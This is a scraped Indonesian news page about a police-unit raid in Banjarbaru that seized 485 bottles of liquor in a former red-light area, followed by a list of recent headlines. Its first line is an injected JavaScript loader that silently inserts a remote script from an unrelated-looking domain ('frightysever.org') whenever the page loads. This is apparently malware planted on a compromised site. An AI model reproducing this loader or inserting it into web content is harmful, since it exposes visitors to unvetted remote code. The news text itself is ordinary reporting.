(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

485 Botol Miras Berbagai Merk Disita Satpol PP di Eks Lokalisasi Pembatuan


BANJARBARU, Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali mengamankan Miras berbagai merk dengan Jumlah 485 botol yang berada di Lokalisasi Eks Pembatuan, Senin (10/12) sekitar pukul 15.45 Wita.

Situasi menjadi ricuh, saat preman di bekas lokalisasi Pembatuan menghalangi pengambilan barang bukti miras berbagai merk. Beruntung Operasi Gabungan dengan TNI dan polri sedikit meredam para preman.

Memang sudah bukan menjadi rahasia, eks lokalisasi Pembantuan yang dulunya menjadi sarang maksiat tersebut masih tercium aktivitas di dalamnya. Terbukti, patroli yang dilakukan petugas berwenang masih saja menemukan wanita-wanita penghibur yang masih melayani para pria hidung belang.

Tidak hanya itu pada awal bulan September lalu, tim gabungan Satpol PP, Polisi dan TNI berhasil menemukan dan menyita 1.613 botol miras yang disembunyikan di dalam rumah warga di Jalan Kenanga RT 09 RW 08 Landasan Ulin Timur. Pada kasus tersebut pihak berwajib menangkap 2 wanita yang saat dilakukan penggerebakan berada di lokasi kejadian. Namun sayangnya, saat itu belum diketahui pemilik sebenarnya ribuan botol miras tersebut.

Kali ini, Satpol PP Banjarbaru yang melakilan razia di wilayah eks lokalisasi tersebut tepatnya di sebuah toko di Gang Empat. Alhasil dari razia tersebut, petugas mendapati 485 botol miras berbagai merek seperti Anggur Bir, Mansion, Vodka dan lain-lain.

Petugas yang langsung melakukan penyitaan dipaksa bertahan, pasalnya sejumlah preman yang berada di wilayah tersebut menghalangi jalannya operasi.

Kasatpol PP Banjarbaru Marhaen mengatakan hal tersebut dikarenakan pemilik ratusan miras ini merupakan salah satu bos di wilayah tersebut. Ia juga menambahkan situasi mulai kondusif saat dilakukan mediasi oleh pihaknya. “Ratusam miras ini milik salah satu bos di eks lokalisasi pembatuan ini. Memang tadi sempat mencekam situasinya, tapi saat kita berikan pemahaman secara baik-baik mereka akhirnya mau nurut,” ujarnya

Selain itu, untuk kepemilikan miras tersebut Satpol PP masih melakukan pemeriksaan dan meminta keterangan dua penjaga toko untuk proses lebih lanjut. (rico)

Reporter:Rico
Editor:Cell

Desy Arfianty

Recent Posts

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

3 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

3 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

7 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

8 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

9 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

9 jam ago

This website uses cookies.